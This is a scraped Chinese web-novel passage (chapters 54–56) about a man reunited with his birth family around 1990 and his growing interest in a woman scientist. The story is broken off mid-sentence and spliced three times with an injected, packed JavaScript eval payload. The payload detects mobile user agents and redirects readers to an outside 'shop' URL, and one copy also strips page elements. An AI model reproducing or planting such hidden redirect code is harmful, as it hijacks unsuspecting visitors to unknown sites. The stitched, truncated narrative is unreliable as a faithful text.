“我叫咱爸过来说两句,他嘴笨,气死你不要找我偿命。” “正月头头的,别瞎说。” “知道了,等着。” 吴旭东推开门去了客厅,拽着呆头鹅一样的老子,把他带到了阳台上。 关上门,吴旭东站在旁边,但不说话。 让他们父子自己打破沉默才好,实在僵持住了他再开口不迟。 没想到,汤正阳倒是主动,他伸手替吴国正理了理身上的哔叽呢中山装。 看穿着,确实是个被时光遗忘的人。 现在已经九零年了,时髦的老头老太太早就不爱穿这个了。 现在都穿西装,打领带。 他笑着开口道:“小旭嘴巴这么利索,应该不是随你。” “啊……嗯……”吴国正还没有回过劲儿来。 怎么会这样,养了三十几年的儿子,居然不是亲生的! 亲生的在十九年前差点死了,此时此刻,正活生生的站在他面前。 他不理解。 到底发生了什么。 只得摸了摸这个长子脸上的伤痕:“当初你妈生下你晕过去了,我在外地……我……我不知道……孩子,你这些年很不容易吧?” “没事,我挺好的,不用担心。”汤正阳虽然看着冷静沉着,但是改口并不是一件容易的事。 毕竟在他的世界里,汤家夫妻就是他至亲的父母。 现在亲爸亲妈找过来了,他需要一点时间消化。 斟酌再三,他问道:“不介意我先喊你老吴吧?我可以跟你回去,熟悉熟悉。” “不介意,完全不介意。”吴国正忽然落下泪来,“你能活着就很好了,很好了……” 54. 归家(二更) 汤正阳跟着去了吴家。 吴国正很是激动,赶紧招呼吴旭东帮忙收拾,腾个房间给汤正阳住。 一进门,汤正阳就看到了摆在客厅神龛下面的灵位。 他走过去,盯着照片上的男人看了看,不怪这边三十几年都没有人发现破绽。 因为这个死去的吴燕西,跟吴旭东长得也挺像的。 哪怕说他们三个都是亲兄弟,也是可以的。 “这么像,估计不只是堂兄弟那么简单。”汤正阳到底是做生意的,什么大世面没见过。 他怀疑母系血脉那边应该也有点牵连。 他很笃定,发生在他跟吴旭东身上的事情,远比看起来复杂多了。 真相就是一座巨大的冰川,浮出水面的可能连十分之一都不到。 吴旭东走过来,右手搭在他肩上:“这事慢慢查。你住哪个房间?总觉得让你住吴燕西的房间不太吉利,不行让咱爸卖了这套房子,换个新的,今晚你住我老婆小公寓去,她给我留了个次卧,我还没住过。” “我不挑。”汤正阳很好说话的,要不然怎么做生意。 与人为善,和气生财。 然而吴旭东不肯:“我挑,我不想让你身上沾了他的晦气。你要么住我那儿,要么住酒店,实在不行,你跟我去海岛转转也行。” “我能去吗?”汤正阳倒是不介意到处转转,反正对他来说没差,都挺陌生的。 吴旭东点头:“可以,我是军属,你是我的家属,没问题。” “算了,我留下来陪陪二老吧,后天就得走了。我住酒店就好。”汤正阳不想麻烦他,笑道,“对了,你中午不用回去给你老婆做饭?” “不用,昨晚我提前做好了,在冰箱里,她中午回去热热就行。”吴旭东直接拿走了遗像和灵位。 既然亲大哥回来了,那么吴燕西的灵位也就没有必要再留在这里碍眼了。 刚好吴国正端了一个果盘出来,看到吴旭东手里的东西,没有阻止。 “爸,你跟大哥聊聊,我下楼把这扔了去。”吴旭东起身出去。 汤正阳追到门口:“小旭,等等。” “怎么了哥?”吴旭东回头,不太明白。 “这东西乱扔不好。”汤正阳从他手里接过遗像和灵位,“万一他有怨气,纠缠你就不好了。” “那怎么办,我不想留。”吴旭东头疼。 留着干嘛,膈应人啊。 汤正阳想想,建议道:“找个寺庙,给他供在庙里,不管他有没有做亏心事,也不管他有没有来生,起码找不到你们的麻烦。” “大哥你信这个啊?”吴旭东没有反对,这样也好,无非是麻烦一点,花点钱而已,下午就找个寺庙把这事办了。 汤正阳点头:“我信啊,当初汤家老房子里偷偷留了一尊保家神。那天他们本来不打算去采药的,不过保家神面前的檀香怎么也点不着,他们这才出去了,要找一种占卜用的蓍草,看看是不是家里要出事。没想到误打误撞捡到了我,把我捡回去香就能点了,很神奇。” “好,听你的。”吴旭东以前也不太信这些神鬼莫测的事情,不过自打八舅出现,他信了。 他找了个黑色塑料袋,把吴燕西的遗像和灵位装了进去,摆在了玄关那里,等会吃了饭赶紧处理了去。 兄弟俩一起去楼下商超买菜。 下楼的时候,遇到抱着孩子的诸葛光,吴旭东只当不认识,就这么擦肩而过。 汤正阳好奇:“那人怎么出电梯的时候还瞪你?你俩有仇?” “情敌,自己犯贱,订了婚守不住,孩子都有了也不退婚,没见过这么不要脸的。”吴旭东简单解释了一下。 汤正阳笑了:“正常,弟妹那么出色,喜欢她的人肯定很多。你现在跟她住部队大院?” “嗯。”吴旭东牵着他的袖子,小心翼翼地过马路。 一朝被蛇咬。 即便被咬的不是亲大哥。 对他造成的阴影却是永恒的。 汤正阳没想到他这么紧张自己,好像自己是个三岁小孩似的。 忍不住问道:“你怕我闯红灯啊?” “嗯,你敢闯红灯我就不认你了。”吴旭东直到马路对面才松开了汤正阳的袖子。 汤正阳哭笑不得:“放心吧,我是遵纪守法的好公民,按时足额交税,绝不闯红灯。黄赌毒一个不沾,清白正直好青年。” “王婆是你什么人,臭不要脸。” “哈哈哈。” “我也按时足额交税,绝不闯红灯。黄赌毒一个不沾,清白正直好青年。夸我。”吴旭东在商超门口停下,得意的挑眉。 “哎呦,不错呦。我家小旭真棒!”汤正阳勾住他的肩膀,“走,你想吃什么,买回家我给你做。” “你也会做饭?” “废话,我像是五谷不分四体不勤的人吗?” “是不像,你像花孔雀,臭美。” “哈哈,说真的,小旭,跟你在一起真开心,走,今天大哥给你露一手。” 两人很快买了新鲜食材回来。 一个厨房两个灶头,还比拼起来了。 你做一道荤的,我做一道素的。 下一道你做素的,我做荤的。 有商有量的,时不时传出爽朗的笑声。 吴国正在客厅给老妻剥橘子,不知不觉被这样的笑声感染,嘴角也扬起了一个弧度。 果然,亲的就是亲的,假的就是假的。 燕西在的时候,从来没有这样跟东东和平相处过。 而正阳这孩子,跟东东之前才见过一面,今天居然这么熟络了。 血缘真是这世上最有魔力的存在。 吴国正不禁跟老妻念叨起来:“三娘,咱大儿子回来啦,大儿子,正阳,看到没,厨房做饭的那个。” 谈三娘嘴里含着橘子,没有说话,低头沉思着什么。 吃饭的时候,她看着面前的八道菜,难得的哼哼了一声。 口齿不清,意义不明。 吴旭东没听懂,汤正阳也是一头雾水。 只有吴国正,多年的陪伴,养出了超常的默契,解释道:“你们妈妈说,香!” “香就多吃点。”汤正阳把椅子挪挪,坐到了不能自理的长辈身边,“我难得过来,今天就让我喂喂她老人家吧。” 虽然他还叫不出口爸妈。 不过他真的不排斥跟他们接触亲近,慢慢来吧。 吴国正没有强求,笑着说道:“好,那我今天偷个懒。” 汤正阳便专注的投喂起来。 时不时拿起帕子给长辈擦擦。 谈三娘的肢体动作不协调,吞咽能力稍微强一点,但是年纪大了,咀嚼能力下降,吃肉费劲。 汤正阳便用筷子夹开,一小块一小块的喂,还给吴国正传授经验,怎么炖肉才能炖得软糯爽滑。 吴国正用心记下:“明天我试试。” “好,明天我教教你。”汤正阳喂完饭,终于顾上自己吃了。 边吃边聊:“吴燕西有孩子吗?” “有两个女儿,上了寄宿学校。”吴国正解释道,“你放心,她们只有寒暑假回来。” “那就好,要不然你一个人还真的忙不过来。我想想办法,看看怎么早点把当年的事情查出来,尽快找到她们自己的爷爷奶奶,免得给你们增加负担。”汤正阳的责任心太强了。 来之前他还对自己的身世不怎么上心。 可是现在,亲眼看到亲妈这个样子,他心里是很难受的。 即便他不记得以前的事情了,可是眼前的种种都在唤醒他的斗志。 小旭身上有着比他更惨烈的伤痕。 亲妈摔成了残废,即便做了开颅手术,也需要一个漫长的过程来恢复。 亲爸为了可怜的发妻,不得不提前退下来,原地踏步成了个落伍的小老头。 他还有两个妹妹,至今没有见过。 听小姨说,二妹因为小旭失踪的事情吃了不少苦头,手臂还被烫伤了。 三妹当时还小,凡事有姐姐顶着,倒是没受多少委屈。 可是接踵而至的贫困,还是将这对姐妹推到了人生的绝境。 幸亏周叔跟安姨都是好人,及时把她们接过去养着。 也幸亏小姨和姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你先拿我的钥匙。”吴旭东把家里的钥匙给他,“小楚,你带大哥去配一把钥匙,店里也可以带他去转转。” “放心吧,交给我了。”楚劲雄赶紧撵他走,“快走快走,饿着你老婆孩子就不好了。” 楚劲雄像是炫耀一样,带着汤正阳去了服装厂,服装店,最后才来到即将开业的家电专卖店。 一路上还不忘介绍他东姐夫英勇救火的事迹。 汤正阳听着感触颇多:“不简单,我这个弟弟,居然还有这样大的本事,难怪他年纪轻轻就当大老板了。” “大哥,你还跑药材吗?要不跟咱们一起干得了。”楚劲雄瞧着这个大哥挺投缘的,不舍得他走。 汤正阳认真道:“跑药材认识的人多,方便我调查一些事情。总之,我会考虑的。” 楚劲雄放心了。 当天晚上,汤正阳去了黄金海岸大酒店入住。 并没有见到上次的小安总。 一夜无眠,第二天一早,客房电话响了。 “汤先生,有人找你,请到一楼会客厅来一下。” 汤正阳赶紧洗漱了一下,下楼后发现,安小蕾正领着两个陌生的年轻女孩,站在会客厅里等着。 年轻女孩的身后,还跟着一个眼熟的家伙。 不是丰登又是谁呢? 汤正阳客气地冲安小蕾点点头,一把勾住汤丰登的脖子:“老六,你怎么来了!” “哥,安教授说你找到亲生父母啦!”汤丰登有些难受,这是不是代表,他就要失去这个大哥了。 好伤心。 汤正阳笑笑:“是找到了,你哭什么,这不挺好吗?我多了个弟弟,你不也多了个哥哥?我可没说不认你们了!” “真的?”汤丰登放心了,埋在大哥肩头呜呜的哭,一路过来的担心,在这一刻彻底释放。 正哭着,身旁冷不丁响起一个声音:“汤丰登,起开,这是我哥!” 55. 婚事 吴巷北很郁闷。 她怎么也没想到,叫了三十几年的大哥,居然不是亲的。 而亲大哥,竟然流落在外,成了男朋友的大哥。 这事简直匪夷所思。 收到消息,她立马请了假,要赶回来看看。 结果汤丰登这个家伙,非要在她面前哭哭啼啼的。 真讨厌。 立马把人拽到一边,眼刀子飞过去,让他闭嘴。 汤丰登立马像个受气的小媳夫一样,猛地收住声,退到一边去了。 汽车刹车都不如他迅速。 看来家庭弟位不保。 一旁的汤正阳没有说什么,而是静静的打量着这个气势汹汹的年轻姑娘。 如果说他和小旭结合了爸妈的优点,那么面前这个小姑娘,则更像老吴一点。 浓眉大眼,神色飞扬,是很英气的长相。 穿着酒红色的女士西装,扎着高马尾,一看就很干练。 他笑着问道:“你是小星还是小巷?” ……吴巷北从来没有被人这样喊过,愣了一下,笑道:“不,我是大象!” “哈哈哈!我妹妹真可爱。”汤正阳生活里全是弟弟,难得见到一个妹妹,还是挺开心的。 他又看向旁边那个年轻的姑娘。 二十出头的样子,杏眼柳眉,粉唇桃腮。 穿着一件粉红色的风衣,往那一站,像是一湾小桥流水的风景画。 此时正安静地笑着不说话。 标准的小家碧玉。 她跟小巷长得一点都不像。 也不像他爸妈中的任何一个,倒是有点像安小蕾。 他只能问道:“小安总,这位是?” “这是我叔叔家的孩子,雷小雪,她喜欢黏着我,非要跟我过来看看。”安小蕾笑笑。 察觉到汤正阳眼中一闪而过的困惑,她也没有瞒着,解释道:“我跟我大哥有另外一个爸,牺牲了。” 所以叔叔家的孩子不姓周。 汤正阳恍然:“抱歉,我不清楚,节哀。” “没事。走吧,我送你和北北回家。”安小蕾有车,转身往外走去。 灰色的长款妮子大衣,有着不属于她这个年龄的成熟和稳重。 但她明明是个热心的女人。 会在大年三十的时候,给客人们送花送金桔。 会在客人高烧不醒的时候,报警救人,送医,垫药费。 她的外表跟内心是不一样的。 一面是燃烧的火,一面是沉默的冰。 冰块凝结成一面玻璃,让跳跃的火光得以穿透。 以至于她看起来其实是个很和气的女人。 但是她的笑,却没有办法直达心底。 像是隔着一层冰霜凝结的气,看不真切。 这是个有故事的女人。 也许是因为家庭原因,她不得不逼着自己成熟。 也许是因为感情不顺,她逐渐学会了伪装自己。 总之,虽然她的背影最没有色彩,可是他却移不开视线。 她开的是一辆大吉普,硬朗的线条,冰冷的车身,军绿色的涂装让人感到有些冷漠和疏远。 不过,她的车技一流,车子平稳的开出去,穿街过巷,灵活自如。 他坐在副驾驶,眼角余光总能看到她的侧脸。 抿起的嘴唇天然上扬,眼睛里却没有笑意,专注的观察着路况。 前面路口不知道出了什么情况,一大群人围在那里,只能从对向车道借过。 车子绕过去的时候,汤正阳终于看清楚,出车祸了。 不过只是一点点小刮擦,结果双方车主闹得不可开交,七大姑八大姨都来了,面红耳赤,争执不休。 交警头痛万分,正在竭力劝说双方息事宁人。 汤正阳不爱多管闲事,收回视线看向前方,结果安小蕾直接靠边停车了。 熄了火,她叮嘱道:“给我两分钟,北北,你去包子铺买点早餐。” 说着便一摔车门,下去了。 汤正阳不知道她要干什么,犹豫片刻还是跟了出去。 但见这个女人气势汹汹的杀了过去,像一条灵动的鱼,三两下就挤到了人群中间。 其中一个车主看到她明显一愣。 没等她开口,便主动跟交警说他愿意和解。 另一个车主显然也认识她,麻溜地配合道:“我也愿意和解,是我不小心追的尾,损失我赔。” 交警不禁松了口气。 回头一看,一个穿着灰色呢子大衣的女人正抱着胳膊,冷脸盯着这两个闹事的蠢货。 立马笑道:“原来是安教授,谢天谢地,有你在我终于可以清静一点儿了。” 安小蕾点点头,对其中一个车主警告道:“下次再这样丢人现眼,让舅舅撵你出去!” 三十来岁的男人,立马像个瘪三一样乖乖点头:“知道了蕾蕾,以后我注意点。” 然而安小蕾的火气并没有消散,她上前几步,盯着迅速投降的诸葛光:“还有你,我妈对你不薄吧?你就是这样对待她侄子的?给你脸了是吧?跟我哥道歉!” 诸葛光脸上火辣辣的,却不敢招惹这位祖宗,只好深吸一口气:“对不起安平哥,以后我开车会注意点。” 安平没有再计较什么,赶紧配合交警把事情办完了好回家。 安小蕾见两人都老实了,这才离开了现场。 汤正阳好奇道:“你表哥也听你的啊?” “不行吗?”安小蕾心中余火未消,回头的时候,眼中有杀气。 汤正阳却不怕她,笑着说道:“行啊,挺好的。要不然堵着路,影响出行。” 安小蕾眯眼,这个男人有点意思,知道把话题引到不痛不痒的事情上。 她忽然好奇:“你家几个弟弟应该都听你的吧?” “嗯。”汤正阳不否认,他可是老大哥。 安小蕾严肃发问:“那你不会干涉丰登那小子跟北北的婚事吧?” “不会,他们自由发展,愿意结婚就结,不愿意就分,我不是专制大家长。”汤正阳赶紧澄清。 安小蕾放心了:“那就好。要是有人劝你,一定要让北北嫁给汤丰登报恩,你可别犯糊涂。” “你怎么会这么想?”汤正阳有些郁闷,“我是那样的人?” “我跟你又不熟,我怎么知道?当然要跟你说清楚。你不是最好,是的话我也不怕你。北北是在我家长大的,跟我亲妹妹没区别,要是有人敢为难她,我绝对不会袖手旁观。”安小蕾打开车门,猫腰进去。 汤正阳叹了口气,坐上副驾驶。 身后递过来一只包子一杯豆浆,他却没有胃口。 汤丰登只好求助的看向吴巷北。 吴巷北接过来亲自递过去:“大哥,吃啊,你不饿吗?” “气饱了。”汤正阳最不喜欢别人误会自己,干脆把话说开了,“小巷你听好了,你跟丰登成不成得了我都不会干预,我也不会允许长辈干预。你安安心心的谈你的恋爱,什么也不用担心。” “哥,怎么忽然说这个?”吴巷北有些意外。 汤正阳接过包子和豆浆,神色平静的说道:“万一有长辈乱出主意,所以哥要提前跟你说清楚。” “哦,知道了,谢谢哥。”吴巷北松了口气。 车子很快停在楼下,下车的时候,汤正阳依旧落在最后。 他看着那道灰色的身影,默默叹了口气。 他今天怎么回事,平时不是情绪很稳定的吗? 居然被这个安小蕾一两句话就给激怒了。 难怪刚刚路口那两个男人都怕她。 这个女人,浑身带着刺啊。 可惜她长着天然上扬的微笑唇,容易让人麻痹大意。 不过…… 不过她也是好意,是为了护着小巷。 算了,不跟她计较了。 她确实不了解他,不是吗? 就像他,也不了解她。 仅仅因为她救过自己,就生出了莫名的好感。 现在忽然被她凶了一下,自然大失所望。 说来说去,都是他自己不好,一厢情愿的以为安小蕾是个很好说话的人。 他跟了上去。 电梯里气氛格外的安静。 是雷小雪开口打破了沉默。 她忽然好奇:“汤大哥,听说你还没有结婚?” “……”汤正阳低头,面前的小姑娘也就一米六左右吧,小小的一只,说话也弱声弱气的,难以想象她居然是安小蕾的堂妹。 这跟小白兔和老虎成了亲戚一样匪夷所思。 他笑了笑:“嗯,没结婚。” “那你谈过恋爱吗?”雷小雪还没有见过不怕她蕾蕾姐姐的男人,不免对他产生了兴趣。 汤正阳摇头:“没有。” “哦,那挺好的。我蕾蕾姐姐也没有谈过。”雷小雪想要乱点鸳鸯谱,猛不丁对上安小蕾的目光,立马压下嘴角,不笑了。 汤正阳沉默了,这话怎么接? 斟酌再三,应道:“忙事业也很不错,不是所有人都必须结婚的。” “啊,我蕾蕾姐姐也这么说。”雷小雪高兴得很,“你们两个还挺像的嘛。” 有吗? 汤正阳这次真的没法接了,好在电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你不方便啊,护工在就好了,你妈妈拉身上了。”吴国正任劳任怨,不觉得辛苦。 不过这么一来,要把老妻里里外外的裤子都换了,儿子进来帮忙肯定是不方便的。 需要女性晚辈。 吴旭东好奇:“护工呢?” “嫌辛苦,受不了,辞职了。”吴国正叹气,“东东啊,你去阳台上帮我拿条毛巾进来。” “爸,我来。”周子琰是做儿媳妇的,理应帮忙照顾一下婆婆。 可她怀着身孕呢,安小蕾立马摁住她:“吴伯伯,我来,还要什么,你一次说完了我一起拿进去。” “是蕾蕾来啦!哎呦太好了,快快快,过来搭把手。”吴国正求之不得,“你先别管别的了,我快托不住你谈伯母了,快来。” 安小蕾赶紧拿着毛巾进去。 吴巷北也跟了进去:“爸,还要什么,我来拿。” “把你妈妈的裤子拿进来,从里到外,一共四条。”吴国正这些年已经摸索出经验来了,换洗衣裤都是成套准备的,于是他补充道,“都在橱柜里,一个格子里是一套,别拿乱了。” “知道了爸。”吴巷北平时很少回来,不清楚家里的情况。 加上她又是被周中擎和老安养大的,毕业后就进了研究所,没怎么照顾过自己妈妈。 今天回来,可算是对爸爸的辛苦有了最直观的感受。 七手八脚的忙完,不禁红着眼眶出来了。 汤丰登赶紧安慰她:“磕着了还是碰着了?我给你吹吹?” “吹什么吹,我是心疼我爸妈。”吴巷北哭着捶了他一拳头,“还是你好,爸妈都健健康康的。” “我……我能帮忙做点什么吗?”汤丰登笨拙地想要为她分担责任。 吴巷北摇头:“你又不是女人,你怎么帮?” “我把工资都交给你,咱们重新请个护工。”汤丰登异常真诚地看着她。 “你舍得?”吴巷北有些意外。 汤丰登点头:“当然舍得,他们是你的爸妈,也是我大哥的爸妈呀。以后咱们就是一家人了。” 是啊,一家人了。 到时候她嫁不嫁汤丰登就由不得她了。 难怪大哥要提前给她吃颗定心丸。 大哥真好。 可是这么好的大哥,居然要跟汤丰登分享,想想就好气。 忍不住继续捶他。 捶得他连连后退,却始终保持微笑,不忍心责任怪她。 捶完,吴巷北看着这个呆头鹅,忽然笑了。 不用亲戚逼她,她自己就挺喜欢这个傻小子的。 不禁抱着汤丰登猛地亲了一口:“你真好,咱们结婚吧。” 56. 动心(二更) 吴国正听说三女儿要结婚了,还挺开心的。 他扶着老妻出来,仔细打量了一下准女婿,很是满意:“不错,斯斯文文的,一表人才,又在一个单位,挺好的。什么时候结?爸爸帮你们买房子。” “不用不用,我们自己可以赚钱。”汤丰登赶紧拒绝,“吴叔叔,您太客气了,再说了,哪有人家结婚要女方买房子的。我们还年轻,努力工作几年,什么都会有的。” “是啊爸,房子的事你不用操心。再说了,我俩现在可以住宿舍呢,不着急。”吴巷北赶紧帮忙扶着点。 她爸太不容易了,她怎么可能要家里的钱。 小两口的态度叫人听了心里暖暖的。 这跟吴燕西一门心思索取的行为截然相反。 这才像是一个受过教育的,有孝心的好孩子说出来的话。 不过越是这样,做长辈的越是想帮衬点。 吴国正说什么也要资助一些,哪怕只出一半呢。 一旁的汤正阳宽慰道:“他们结婚的钱我早就准备好了,既然都是一家人了,那就不说两家话,等我帮他们把房子买了再结。” “真不用啊哥,我们又不是没工作,也不缺地方住,你自己还没结婚呢,钱留着吧。”吴巷北赶紧拒绝。 汤丰登附和道:“是啊大哥,你已经供我上了大学,我还没有报答你呢,怎么好再要你的钱。你放心,我们课题组刚刚申报了一个专利,要是成功了,我们都有奖金的。你赚点辛苦钱多不容易啊,真的不用给我买房子。” “一码归一码,我得把我的责任尽了。”汤正阳态度坚决,汤丰登只好向安小蕾求助。 安小蕾沉默的打量着这个男人。 汤正阳以为她要劝说自己,面露不悦。 结果安小蕾沉思很久,开口道:“都别争了,让他买。” 什么? 不少人都很意外。 安小蕾这是闹哪样? 雷小雪甚至拽了拽她的袖子,嘀咕道:“姐啊,你真的忍心吗?汤大哥这么好,让他给自己留点钱不好吗?” 一旁的周子琰笑了笑,解释道:“我也支持汤大哥买房。在他看来,他的命是汤家给的,他要把自己的责任尽完,才能放下心来考虑他自己的事情。你说呢,小东?” 所有人都看向吴旭东。 吴旭东走上前来,一把勾住了汤正阳的脖子:“支持你没问题,但是你得答应我一件事。” 汤正阳笑了:“你说。” “等他们结了婚,该考虑你自己了。到时候可不能再找借口了,再拖下去你都四十了。”吴旭东是真的心疼这个大哥。 当他看到大哥身上的沟沟壑壑时,即便没有亲子鉴定,他也在内心认定了这就是亲大哥。 大哥能活下来真不容易,他当然明白大哥想要给汤丰登买房的心情。 大哥的道德感太强了。 只有等大哥彻底卸下重担,才有可能好好的为自己活一回。 所以,大哥攒的那二十万肯定是要花出去的。 钱可以再赚,枷锁却不可以再背着了。 即便根本没有任何人给他套上报恩的枷锁。 而且,他相信,等到大哥结婚的时候,北北姐和小汤也会出钱的。 他们就不是那种不懂感恩的人。 所以,不如遂了大哥的心愿,让他轻装前行。 这样的体谅和理解,最是动人。 汤正阳很是开心:“好,哥答应你。” 中午大家叫上周家和安家的亲眷,一起去酒店聚餐。 汤正阳高兴,喝多了。 既高兴找到了亲人,也高兴有人懂他。 忍不住一个劲的找安小蕾,想要给她敬酒,多谢她的理解。 安小蕾不喝酒,只能以果汁替代。 如果只是喝酒也就罢了,他还尬聊。 总觉得这个女人虽然不太好惹,但她居然有颗通透的七窍玲珑心肝。 说句大白话:她懂他。 他很开心,这辈子就没遇到过这样的女人。 忍不住没话找话。 一会儿问她,知不知道大黄和土大黄怎么区分。 安小蕾当然知道。 她可是花花草草的行家。 见她没有被难倒,他又问她,知不知道附子和白附子的区别。 安小蕾端着果汁,镇定自若:“白附子是天南星科,独角莲的块茎干燥后的中药名,可以祛风痰,治惊搐,还能解毒散结。附子是毛茛科乌头子的根,可以补火助阳,散寒止痛。这两种都有毒性,需要把握好用量。”① 汤正阳有些挫败。 看吧,博士就是不一样,什么都懂。 他呢,不过上了个夜校,居然抖起来了。 卖弄个什么劲。 于是后半程他不再找安小蕾说话了,一个劲的跟吴国正喝酒。 吴国正也难得放松,这些年被吴燕西和顾蔓蔓纠缠得头痛不已。 现在一切雨过天晴,孩子们友爱谦让,他真的开心坏了。 便跟大儿子你一杯我一杯的,喝了个痛快。 酒足饭饱,父子俩全都醉醺醺的。 吴旭东赶紧扶着点小老头子,叫上周子琛帮忙,一起送他回去。 临走时叮嘱道:“三姐,你跟小汤照看好大哥,我尽快回来。” 吴巷北正在陪她妈妈吃饭,老人家手脚不协调,吃一半洒一半,她也不着急,耐心地等着。 闻言道:“没事,你好好陪子琰休息会儿吧,等会我送咱妈回去。” 吴旭东放心了,赶紧让周子琰开车,先行离开。 然而汤丰登却扶不稳这个醉醺醺的大哥,连带着自己一起倒在了地上。 吴巷北不敢离开她妈妈,只得喊了一声:“蕾蕾姐,帮帮忙。” 不用她喊,安小蕾已经起来了。 她盯着地上的兄弟俩,不禁叹了口气:“小汤,你起开。” “姐,要我帮忙吗?”雷小雪凑上来,她担心姐姐的小身板儿,虽然姐姐比她高一点。 安小蕾摆摆手:“都不用,你们休息你们的,我来。” 她弯下腰去,一把捞起地上的汤正阳,嫌弃地看向了汤丰登:“你看看你,白长了一米七几的大高个儿,北北你得让他多吃点饭,瘦得跟猴子似的,怎么保护你。还不如我呢。” 说话间她把汤正阳架在了自己肩上,摸了摸他的西装侧兜,没摸到房卡,想摸裤兜,算了。 不太方便,到底是个男人。 她喊道:“小雪,把他的公文包给我。” 小雪赶紧送来黑色的牛皮包。 满怀担心,目送姐姐远去。 安小蕾架着汤正阳去了车上,带他回了爸妈的大平层。 她爸妈从来不偏心,给她在工作的城市买了房,所以这里没买。 回来她当然住爸妈家里。 虽然汤正阳是客,但是她知道,爸妈不会有意见的。 两家的关系摆在这里呢。 等到小东跟子琰的孩子出生,那就是有着血缘绑定的一家人了。 开了门,她踹了自己的鞋,蹬腿去够汤正阳的皮鞋。 很利索的,两下就给他踹开了。 男人的脚掌很大,穿的皮鞋也很体面,然而里面露出来的袜子,却让她大吃一惊。 居然破洞了。 大脚趾露出来,探头探脑的,滑稽至极。 啧,这个男人,别人看不见的地方他就省着。 对外展示的衣服公文包则都是大牌的正品。 该怎么说呢,真会过日子。 哎,这么苦着自己,还不是为了报答汤家的恩情。 这么一个人,就算是酒精上头,臭显摆一下对中药的见解,也是无伤大雅的。 她提上一口气,把即将滑落在地的男人捞起来。 跌跌撞撞的把这个醉鬼扶进了客房,安小蕾用力将他掀到床上去,又跑到床尾,把他搭在床边的两条腿抬到床上。 可算是妥了。 她把窗户关起来,拉上窗帘,转身给他掖好被角,这才关上门出去了。 刚出去,又推门进来了。 没办法,她看到他的袜子就难受。 直接给他脱了,扔进了垃圾桶里。 出去后她回了自己卧室,冲了个澡,换了身衣服。 真是烦人,身上居然沾染了一股烟味儿。 天知道他们家没有一个抽烟的。 冲完澡,她赶紧去玄关那里把鞋子收好,再把脏了的大理石地面拖拖干净。 免得辛苦爸妈。 收拾完,她转身拿起钥匙,下楼给汤正阳买拖鞋去。 * 汤正阳醒来的时候,已经是半夜三点了,口渴,头痛难耐。 摸索了半天,才找到了房间里的开关。 打开灯,柔和的灯光让他倍感意外。 缓了缓,他终于睁开眼,发现自己身处一个陌生的地方。 环顾一周,床头柜上摆着一版头痛药,一碗凉白开,一只空碗,旁边还有一张便条—— 你现在住在我爸妈家里,不用拘谨。 地上有两只保温壶,蓝色的那只,里面是开水,粉色的那只,里面是醒酒汤。 醒了最好喝点醒酒汤,不过味道不太美妙。 如果头疼,就吃点头痛药,兑点凉白开,不烫嘴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13774673|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最后,善意的提醒,你快四十了,如果打定了主意不想结婚生子,可以不戒烟,反之,最好戒了。 至于我跟北北,小汤,我们三个这个月请假太多,今晚就走。 他俩结婚的事你可以打电话来商量。 不过他们是小研究员,宿舍没有电话,你可以打我的,号码是78XXXXX。 ——安小蕾 这次用的不是花体字,而是端庄大气的正楷。 汤正阳下意识去找自己的公文包。 这才注意到了床前摆着的新拖鞋,以及摆在公文包上的两双新袜子。 都是大红的,上面印着金色的骏马,一双是奔腾的姿势,一双正扬起前蹄跨越阻碍。 寓意都很好。 差点忘了,今年是他的本命年。 三十五周岁,三十六虚岁。 真是个细心的女人。 难怪年纪轻轻就是个博士了。 汤正阳倒了杯醒酒汤喝了,又吃了一粒头痛的药,这才起身,去上厕所。 正好碰到周子琛起夜。 两人大眼瞪小眼。 周子琛忽然笑了:“正阳哥,你头发翘了,好像铁臂阿童木啊,真逗。” ……汤正阳摸了摸,还真是。 他在别人家客居,不好意思抢厕所,便让周子琛先上。 周子琛却直接扭头:“你上吧,我去那头上。我家很大的,三个卫生间。” 直到第二天,汤正阳才对周子琛口中的“很大”有了直观的感受。 那是真大啊。 十九楼顶层,视野开阔得很,站在阳台上,可以看到东边的大海。 蓝天白云,现世安稳。 真好。 汤正阳在这里吃了早饭。 发现周子琛的父母真是难得的恩爱,做个饭都要一个颠勺一个打下手。 进进出出,形影不离。 汤正阳莫名有些羡慕,吃饭的时候问道:“周叔跟安姨结婚多少年了。” 周中擎把一盘芙蓉酥推到他面前:“二十七年了。” 那就是安小蕾出生之后不久结的婚。 算上两人培养感情到结婚需要的时间…… 难道安小蕾是遗腹子? 难怪浑身带着刺,强势得让人咋舌。 估计小时候没少被人挖苦吧。 毕竟这个社会,对守寡的女人是很苛刻的。 会骂她克夫,也会骂她的孩子克父。 在这个环境里长大的孩子,势必要把自己武装起来,才能抵御那些歧视的目光。 而她的继父一定是很疼爱她的,要不然,她肯定要看继父的脸色,怎么可能自作主张带他回来。 他不好再问了,低头默默地吃饭。 离开的时候,他带走了袜子,便条,以及那版头痛药。 至于拖鞋,说不定下次还会再来,留着吧。 周子琛开车,送他去车站:“大哥,什么时候再来?” “我先去趟研究所那边,给小巷他们买一下婚房,再去一趟北京,查一查当年的事情。到时候如果我来,我给你打电话。”汤正阳本想多留几天,不过,他看到亲妈那个样子,实在是不忍心。 正好回一趟汤家,找个靠谱的女性亲眷过来帮忙照顾他妈妈。 工资多给点,他给得起。 